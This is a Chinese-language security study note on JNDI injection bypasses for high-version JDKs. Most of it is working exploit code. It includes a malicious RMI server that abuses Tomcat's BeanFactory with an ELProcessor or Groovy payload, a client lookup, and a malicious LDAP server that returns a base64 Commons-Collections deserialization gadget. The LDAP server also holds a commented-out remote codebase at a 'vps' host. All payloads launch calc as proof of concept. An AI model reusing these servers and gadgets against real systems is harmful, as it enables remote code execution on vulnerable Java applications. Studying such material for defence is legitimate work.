高版本jdk下的jndi利用
前言
高版本是如何修复的这个远程加载
在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测
根据 trustURLCodebase的值是否为true 的值来进行判断，它的值默认为 false。通俗的来说，jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true 这一手段，让我们无法加载 codebase，也就是无法让我们进行 URLClassLoader 的攻击了。
基于本地的BeanFactory
依赖：
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.lucee</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
Server:
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception{
System.setProperty("java.rmi.server.hostname","127.0.0.1");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
}
}
Client:
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class MyTest {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/Exploit";
Context context = new InitialContext();
context.lookup(url);
}
}
大概跟踪了一遍流程：
用一下其他师傅的笔记吧，这里为何这样写payload:
继续往下调试可以看到，查找 forceString 的内容中是否存在”=”号，不存在的话就调用属性的默认 setter 方法，存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此，**之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了，这是 BeanFactory 类能进行利用的关键点！**之后，就是获取 beanClass 即 javax.el.ELProcessor 类的 eval() 方法并和 x 属性一同缓存到 forced 这个 HashMap 中：
接着是多个 do while 语句来遍历获取 ResourceRef 类实例 addr 属性的元素，当获取到 addrType 为 x 的元素时退出当前所有循环，然后调用 getContent() 方法来获取x属性对应的 contents 即恶意表达式。这里就是恶意 RMI 服务端中 ResourceRef 类实例添加的第二个元素：
获取到类型为x对应的内容为恶意表达式后，从前面的缓存forced中取出key为x的值即javax.el.ELProcessor类的eval()方法并赋值给method变量，最后就是通过method.invoke()即反射调用的来执行
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")：
还有一种Gorvy:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import groovy.lang.GroovyClassLoader;
public class GroovyShellServer {
public static void main(String[] args) throws Exception {
System.out.println("Creating evil RMI registry on port 1097");
Registry registry = LocateRegistry.createRegistry(1097);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("evilGroovy", referenceWrapper);
}
}
这种类寻找的条件:
- JDK或者常用库的类
- 有public修饰的无参构造方法
- public修饰的只有一个String.class类型参数的方法，且该方法可以造成漏洞
利用 LDAP 返回序列化数据，触发本地 Gadget
Client:
package org.example;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class MyTest {
public static void main(String[] args) throws NamingException {
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1234/ExportObject");
}
}
Server:
package org.example;
import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://vps:8000/#ExportObject";
int port = 1234;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
// Payload1: 利用LDAP+Reference Factory
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
// Payload2: 返回序列化Gadget
try {
e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
} catch (ParseException exception) {
exception.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
还有一些其他打法，在没有tomcat下或者el下。在浅蓝师傅文章里面，后续遇到了再来回顾
https://tttang.com/archive/1405/
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#%E7%BB%95%E8%BF%87%E6%89%8B%E6%B3%95%E4%BA%8C%E3%80%81%E5%88%A9%E7%94%A8-LDAP-%E8%BF%94%E5%9B%9E%E5%BA%8F%E5%88%97%E5%8C%96%E6%95%B0%E6%8D%AE%EF%BC%8C%E8%A7%A6%E5%8F%91%E6%9C%AC%E5%9C%B0-Gadget
